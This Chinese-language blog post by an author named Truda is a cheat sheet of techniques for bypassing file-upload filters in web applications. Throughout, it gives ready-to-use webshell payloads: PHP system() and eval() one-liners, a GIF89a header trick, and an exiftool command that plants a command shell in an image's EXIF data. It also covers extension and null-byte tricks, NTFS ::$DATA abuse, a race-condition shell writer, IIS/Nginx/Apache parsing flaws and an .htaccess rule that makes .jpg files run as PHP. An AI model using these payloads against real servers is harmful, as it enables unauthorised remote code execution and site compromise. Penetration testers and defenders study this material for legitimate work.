任意文件上传绕过


任意文件上传绕过

0x01 绕过黑名单

除了常规扩展名之外,还有其他扩展名可用于绕过黑名单过滤

1. PHP

常用扩展名:
.pht, .phtml, .php3, .php4, .php5, .php6, .inc

大小写敏感:
.pHp, .Php, .phP

2. JSP

.jspx, .jspf, .jsw, .jsv

0x02 绕过白名单

1. .jpg

shell.php.jpg

2. 截断

shell.php%00.jpg
或
shell.php\x00.jpg

3. 文件头类型检测

GIF89a; <?php system($_GET['cmd']); ?>

0x03 Exif 数据

绕过文件上传限制的下一种方法是使用图片中的 Exif 数据,可以插入包含有效 PHP 代码的注释,该注释将在处理图像时由服务器执行。
注:该技术可以与绕过黑名单或白名单的方法结合使用

1. 可以使用 exiftool 来执行此操作-如果尚未安装,请使用 apt 进行安装:

~# apt install exiftool

2. 然后,我们可以在图片中插入一个简单的 Shell 命令作为注释:

~# exiftool -Comment="<?php system($_GET['cmd']); ?>" pic.jpg

3. 使用file命令,可以看到代码已成功插入

~# file pic.jpg

pic.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "<?php system(['cmd']); ?>", baseline, precision 8, 1920x840, components 3

4. 修改为 PHP 文件

~# mv pic.jpg pic.php.jpg

0x04 文件内容绕过

1. 常用 payload

<?=`$_GET[x]`?>

<script language="php">@eval($_POST['code'])</script>

<?php system($_REQUEST1);?>

0x05 利用 NTFS ADS 特性

ADS 是 NTFS 磁盘格式的一个特性,用于 NTFS 交换数据流。
在 php+windows 的情况下:如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名。
例如:1.php::$DATA

上传文件名 生成文件 生成的文件内容
Truda.php:a.jpg Truda.php
Truda.php::$DATA truda.php
Truda.php::$INDEX_ALLOCATION truda.php
truda.php::$DATA.jpg 0.jpg
truda.php::$DATA\eee.jpg eee.jpg

这里,我们上传一个名为 xxx.php::$DATA 的木马,然后,在浏览器中访问 xxx.php。

0x06 分块传输 waf

利用 Burpsuit 分块传输插件 chunked-coding-converter 绕过 WAF 检测。
例如:宝塔 WAF

0x07 条件竞争绕过

网站处理逻辑

  • 网站允许上传任意文件,然后检查上传文件是否包含 webshell,如果包含删除该文件。
  • 网站允许上传任意文件,但是如果不是指定类型,那么使用 unlink 删除文件。

利用方式

在网站删除上传的 php 文件之前访问该文件,从而执行上传文件中的 php 代码。
例如:上传文件代码如下:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

先进行文件上传,后进行判断与删除,利用时间差进行 webshell 上传。
技巧:使用 burpsuite 循环访问上传的文件,然后循环进行上传。

0x08 文件名双写绕过

例如这样的限制代码:

$file_name = str_ireplace($deny_ext, "", $file_name);

直接使用双写绕过就行 x.pphphp ,最后生成 x.php 文件。

0x09 配合文件解析漏洞绕过

1. IIS 5.x/6.0 解析漏洞

目录解析:/xxx.asp/xxx.jpg
文件解析:xxx.asp;.jpg

2. IIS 7.0/IIS 7.5/ Nginx <8.03 畸形解析漏洞

漏洞成因:nginx 默认以 cgi 的方式支持 php 的运行,譬如在配置文件当中 fastcgi 方式下 cgi.fix_pathinfo 是开启的。
涉及版本:php5.2.12php5.3.1(Default)
在默认 Fast-CGI 开启状况下,上传一个名字为 xxx.jpg,内容为

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

然后访问xxx.jpg/.php,在这个目录下就会生成一句话木马shell.php

3. Nginx <8.03 空字节代码执行漏洞

影响版本:0.5., 0.6., 0.7<=0.7.65, 0.8<=0.8.37
Nginx 在图片中嵌入 PHP 代码,然后通过访问/xxx.jpg%00.php 来执行其中的代码.

4. Apache 解析漏洞

Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.
比如 _xxx.php.owf.rar_,“.owf”和”.rar”这两种后缀是 apache 不可识别解析,apache 就会把 xxx.php.owf.rar 解析成 php。

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个 xxx.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀.

0x10 上传.htaccess 文件

.htaccess文件介绍:.htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置
可以尝试上传 .htaccess 文件:

// 表示把jpg当作php执行 AddType application/x-httpd-php .jpg

参考资料

《浅谈文件上传漏洞》 > 《文件上传漏洞总结》 > 《文件上传及 Fuzz》


文章作者: Truda
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Truda !
评论
  目录